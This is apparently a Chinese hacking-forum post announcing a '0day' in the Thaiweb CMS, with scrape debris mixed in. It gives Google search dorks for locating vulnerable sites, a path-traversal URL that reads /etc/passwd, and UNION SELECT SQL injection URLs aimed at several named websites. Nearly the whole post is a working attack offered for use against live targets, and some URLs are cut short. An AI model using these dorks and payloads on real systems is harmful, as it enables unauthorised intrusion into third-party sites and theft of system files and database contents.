Thaiweb远程文件sql注入漏洞0day

admin

Google之:
8 {$ A0 }8 J- U! E# m0 i8 l+ }
intext:powered by Thaiweb

inurl:index.php?page=board.php

$ T3 E5 E  K2 x
( v! C$ s7 Y# U2 W2 q9 R8 b' t8 X4 ~
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
) B/ K; v, p+ _3 r' h, s
$ t1 {" B: S) t* F
* b4 r/ W) g9 G, o
  h7 t5 J; n" t! `利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
4 ~' o( V, L9 `  l  W- |* E

2 i% t* O; R  H
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
. x& [) l/ y  }' w& E  J  N8 f# l
, b6 V; z1 {2 h/ k/ Hhttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--